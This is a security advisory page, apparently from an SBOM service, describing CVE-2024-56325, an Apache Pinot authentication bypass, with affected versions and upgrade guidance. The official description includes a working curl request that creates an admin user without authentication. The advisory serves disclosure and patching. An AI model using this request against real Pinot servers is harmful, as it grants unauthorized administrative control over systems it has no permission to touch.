CVE-2024-56325 Apache Pinot: Authentication bypass issue. If the path does not contain / and contain . authentication is not required

Critical 9.8 Published Updated

Attackers can bypass authentication by crafting specific paths to create admin users, gaining full control over the Apache Pinot server.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
Not needed
Fix
Available

What is CVE-2024-56325?

CVE-2024-56325 is a critical authentication bypass vulnerability in Apache Pinot, published on 1 Apr 2025. An attacker can exploit it over the internet without logging in, with no action from the victim.

Official description

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Weakness: CWE-288

Which versions are affected by CVE-2024-56325?

6 open source packages ship an affected version, including org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common and org.apache.pinot:pinot-controller. It affects 1 product.

PackageAffectedFixed in
org.apache.pinot:pinot-broker MavenFrom 0.8.01.3.0
org.apache.pinot:pinot-broker MavenFrom 0.8.01.3.0
org.apache.pinot:pinot-common MavenFrom 0.8.01.3.0
org.apache.pinot:pinot-common MavenFrom 0.8.01.3.0
org.apache.pinot:pinot-controller MavenFrom 0.8.01.3.0
org.apache.pinot:pinot-controller MavenFrom 0.8.01.3.0

Products include Apache Pinot.

How do I fix CVE-2024-56325?

Upgrade org.apache.pinot:pinot-broker to 1.3.0 or later.

Upgrade, and rotate credentials and sessions that may have been exposed. More about Authentication bypass.

Is CVE-2024-56325 being exploited?

It is not confirmed as exploited in the wild, but public exploit code for CVE-2024-56325 exists.

Public exploit code: 1 Nuclei template.

Sources

Also known as GHSA-6jwp-4wvj-6597.

Is CVE-2024-56325 in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free